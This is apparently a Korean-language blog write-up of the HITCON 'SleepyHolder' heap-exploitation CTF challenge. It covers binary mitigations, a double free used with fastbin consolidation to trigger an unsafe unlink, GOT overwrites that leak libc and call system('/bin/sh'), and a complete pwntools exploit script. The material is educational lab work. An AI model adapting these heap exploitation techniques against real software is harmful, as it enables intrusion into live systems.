1. Mitigation
1 2 3 4 5 6 | [*] '/home/juntae/ctf/hitcon/SleepyHolder/SleepyHolder' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) | cs |
그냥 평범하게 미티게이션이 걸려있다.
특이한 점이라면 RELRO가 Partial이여서 GOT overwrite가 가능하다는거 정도?
힙 문제를 조금 풀다보니까 이제 힙문제에서 미티게이션은 스택에 비해 별로 중요하지 않은것 같다는 생각이 든다.
2. Analysis
urandom에서 값을 4개를 뽑아와서 0xFFF와 and연산을 하고, 그 값 만큼 malloc해준다.
- heap주소를 브루트포싱 할 수 없다.
그리고 메뉴를 출력해준다!
메뉴에 특이점이 하나 있는데, 비밀 출력함수가 없다.
1 2 3 | puts("1. Keep secret"); puts("2. Wipe secret"); puts("3. Renew secret"); | cs |
1. Keep secret
- 어떤 비밀을 keep할것인지 고를 수 있다!
- keep할때 malloc이 아닌 calloc으로 메모리를 할당한다.
- 할당한 메모리는 전역변수에서 관리한다.
- UAF가 힘들어진다.
- 1번 : fast chunk(40)인 Small secret
- 2번 : large chunk(4000)인 Big, Huge secret(400000)
- 특이한 점이라면, huge secret은 입력만 가능하다는 점 이다. ( can't free )
- 비밀을 keep하게 되면 비밀이 keep되었는지 상태를 나타내주는 전역변수의 값이 변한다.
- 비밀이 keep되면 check_(size)_secret의 값이 1이 된다.
2. Wipe secret
- 어떤 비밀을 wipe할것인지 고를 수 있다!
- wipe할때 메모리를 free해준다.
- 한번 free하고나면 free하지 못하게 해야하는데, 체크를 안한다.
- DFB가 발생한다.
- check_(size)_secret의 값이 0으로 변한다.
- 근데 free만 해주고 전역변수 내부 값은 초기화를 안해준다.
- 위에서 설명했듯이, huge secret은 wipe(free) 할 수 없다.
3. Renew secret
- 비밀의 내용을 수정할 수 있다.
- Small secret과 Big secret만 수정할 수 있다.
- 내용을 수정하기 전에, check_(size)_secret으로 메모리가 할당되어있는지 확인한다.
- check_(size)secret이 1이면 비밀의 내용을 수정할 수 있다.
- 해당 비밀의 size만큼만 수정할 수 있다.
- heap overflow가 불가능하다.
3. Leak
DFB가 발생하고, prev_size를 바꿀 수 있긴 한데, 일단 메모리의 자유로운 할당과 해제가 불가능하다.
그래서 어떻게 DFB를 이용 해야 할지 생각해 보아야 한다.
여기서 fastbin consolidate를 이용할 수 있다.
1. small secret(fastbin) 하나를 할당한다.
2. large secret(largebin) 을 할당해준다.
3. small secret을 wipe해서 free해준다.
- 당연하게도 small secret은 fastbin으로 들어간다.
- 여기서 fastbin의 할당과 해제에는 PREV_INUSE값이 변하지 않는다. ( 그대로 1임 )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | [1] First Free !! gdb-peda$ x/10gx 0xf0aee0 0xf0aee0: 0x0000000000000000 0x0000000000000031 0xf0aef0: 0x0000000000000000 0x0000000000000000 0xf0af00: 0x0000000000000000 0x0000000000000000 0xf0af10: 0x0000000000000000 0x0000000000000fb1 0xf0af20: 0x0000000a42424242 0x0000000000000000 [2] Double Free !! gdb-peda$ x/10gx 0x171ce30 0x171ce30: 0x0000000000000000 0x0000000000000031 0x171ce40: 0x0000000000000000 0x00007f349676cb98 0x171ce50: 0x0000000000000000 0x0000000000000000 0x171ce60: 0x0000000000000030 0x0000000000000fb0 0x171ce70: 0x0000000a42424242 0x0000000000000000 | cs |
4. huge secret를 keep하고 small secret을 다시 wipe해준다.
- 근데, 위에서 free만 해주고 전역변수 내부의 heap주소들은 초기화를 안해준다고 했다.
- 그래서 heap overflow가 발생한다.
- Huge secret을 kepp하면 small secret은 fastbin이 아니라 smallbin으로 들어간다.
- smallbin인 상태에서는 PREV_INUSE값이변한다.
5. small secret을 다시 wipe한다.
- DFB가 trigger 된다.
- smallbin 상태에서 fastbin consoildate를 했기때문에 PREV_INUSE값이 0이 된다.
이걸 이제 어떻게 활용 할 수 있을까?
바로 Unsafe unlink 공격에 활용할 수 있다.
난 라업보고 이 문제 풀면서 이부분에서 미친건가 생각이 들었다.
진짜 말도안된다. 이떻게 이런생각을하고 문제를 낼 수 있을까?
PREV_INUSE overflow가 불가능한 상황에서 이렇게 Unsafe unlink를 trigger할 수 있다는게 그저 놀랍다.
어쨌든 fastbin consolidate와 DFB등 여러가지를 활용해서 Unsafe unlink의 조건을 만족했다.
Unsafe unlink에는 몇가지 조건이 있다.
1. heap 주소를 전역변수에서 관리해야함.
- 전역변수에서 관리한다.
2. 0x80(fastbin)크기 이상의 heap을 할당할 수 있어야함.
- 할당 가능하다.
3. PREV_SIZE 변조가 가능해야함.
- 변조가 가능하다.
4. PREV_INUSE bit가 변조 가능해야함
- 가능하다.
이제 원하는 공간에다가 메모리를 할당하고, 값을 제어할 수 있다.
위에서 설명했듯이, 이 프로그램에는 메모리 내부를 출력해주는 함수가 없다.
그래서 leak하기가 상당히 애매한데, 여기서는 다른함수의 got를 puts함수의 plt로 변조하는 방법을 사용한다.
아래 사진을 보자.
Unsafe unlink공격 target의 대상을 small_secret이라고 해보자.
공격이 성공한다면, 메모리는 small_secret - 0x18의 주소에 할당될 것이다.
이 주소는 0x0620b8이다. 즉, 모든 secret값들을 제어할 수 있다.
아래와 같은 경우를 생각해보자.
1. big_secret에 atoi함수의 got를 덮음.
2. huge_secret에 puts함수의 got를 덮음.
3. small_secret에 free함수의 got를 덮음.
4. check_(size)_sercet부분은 모두 1로 덮어 사용 상태로 만듬.
- renew메뉴냐 wipe메뉴를 자유자재로 활용할 수 있음.
자, 이렇게되면 leak을 할 수 있다.
어떻게?
renew메뉴로 입력받을때 아래와 같은 부분을 사용한다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | puts("Which Secret do you want to renew?"); puts("1. Small secret"); puts("2. Big secret"); memset(&s, 0, 4uLL); read(0, &s, 4uLL); v0 = atoi(&s); if ( v0 == 1 ) { if ( check_small_secret ) { puts("Tell me your secret: "); read(0, small_secret, 0x28uLL); } } else if ( v0 == 2 && check_big_secret ) { puts("Tell me your secret: "); read(0, big_secret, 0xFA0uLL); } } | cs |
자, 일단 지금 check_(size)_secret은 모두 1이다. 그래서 read로 입력받는 부분까지는 분기 할 수 있다.
여기서 1번 메뉴를 입력하고, small_secret에다가 값을 입력받으면 어떻게될까?
지금 small_secret에는 free got가 들어가 있다.
즉, got를 overwrite할 수 있다. ( 다행히도 partial relro이다. )
free got 내부에다가 puts함수의 plt를 저장하고, wipe함수를 이용하여 free할때를 생각해보자.
만약, wipe를 한 후, big secret을 free한다고 하면, 다음과 같은 과정을 거친다.
0. 일단 wipe했으니까 check_big_secret이 0으로 변함.
1. free(big_secret) 구문에 도착함.
2. free의 got는 puts함수의 plt임.
3. 즉, puts(big_secret)이 됨.
4. 여기서 big_secret에는 atoi함수의 got가 들어가있음.
5. 즉, atoi함수의 got가 leak됨.
상상도 못한 정체 ㄴ(ㅇㅁㅇ)ㄱ
leak을 이렇게도 할 수 있다니 이게 말이되나 싶다.
4. Exploit
이제 libc base도 구했으니 원하는 주소들은 전부 찾을 수 있다.
leak할때 사용했던 방법처럼 got를 변조시켜서 쉘을 획득 할 수 있다.
1. free함수의 got를 다시 system으로 변조시킴.
2. 위에서 big_secret을 wipe했으므로, keep으로 다시 big_secret을 할당할 수 있음.
3. big_secret을 다시 할당하고, 내부 데이터로 /bin/sh를 덮음.
4. big_secret을 wipe메뉴를 이용하여 다시 free함.
5. free함수의 got는 현재 system인 상태이고, big_secret의 내부에는 /bin/sh가 들어있음.
6. system("/bin/sh") 가 실행됨.
5. Exploit code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | from pwn import * libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") e = ELF("./SleepyHolder") r = process("./SleepyHolder") r.recvuntil("and no one will be able to see it :)\n") def keep(select,secret): r.sendlineafter("\n","1") r.sendlineafter("\n",str(select)) r.sendlineafter("\n",secret) def wipe(select): r.sendlineafter("\n","2") r.sendlineafter("\n",str(select)) def renew(select,secret): r.sendlineafter("\n","3") r.sendlineafter("\n",str(select)) r.sendafter("\n",secret) keep(1,"AAAA") keep(2,"BBBB") wipe(1) keep(3,"CCCC") wipe(1) #remove "PREV_INUSE" -> triger Unsafe unlink !! small = 0x6020d0 payload = p64(0)*2 payload += p64(small-0x18) payload += p64(small-0x10) payload += p64(0x20) keep(1,payload) wipe(2) #make fake chunk! -> malloc in (small-0x18) payload = p64(0) payload += p64(e.got["atoi"]) payload += p64(e.got["puts"]) payload += p64(e.got["free"]) payload += p64(1) * 3 renew(1,payload) #GOT overwrite for leak libc !! renew(1,p64(e.plt["puts"])) wipe(2) leak = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00") libc_base = leak - libc.symbols["atoi"] system = libc_base + libc.symbols["system"] log.info("leak atoi GOT : " + hex(leak)) log.info("libc base : " + hex(libc_base)) log.info("system : " + hex(system)) #leak libc and find gadget renew(1,p64(system)) keep(2,"/bin/sh\x00") wipe(2) #GOT overwrite and get shell !! r.interactive() | cs |
다시생각해봐도 말이안된다.
어떻게 이런생각을 해서 문제를 낼수가있을까...
그 악명높은 HITCON문제중에서도 one solve문제인 이유가 있나보다.
문제를 낸사람이나.. 푼사람이나.. 대단하다..
'System Hacking ( pwnable ) > CTF Write-up' 카테고리의 다른 글
[hackingcamp] bofforever ( write-up ) (0) | 2019.08.25 |
---|---|
[SSTF] bofsb ( write-up ) (0) | 2019.08.20 |
[Rctf] Rnote ( write-up ) (0) | 2019.08.02 |
[0ctf] babyheap ( write-up ) (0) | 2019.08.02 |
[PlaidCTF] ropasaurusrex ( write-up ) (0) | 2019.04.14 |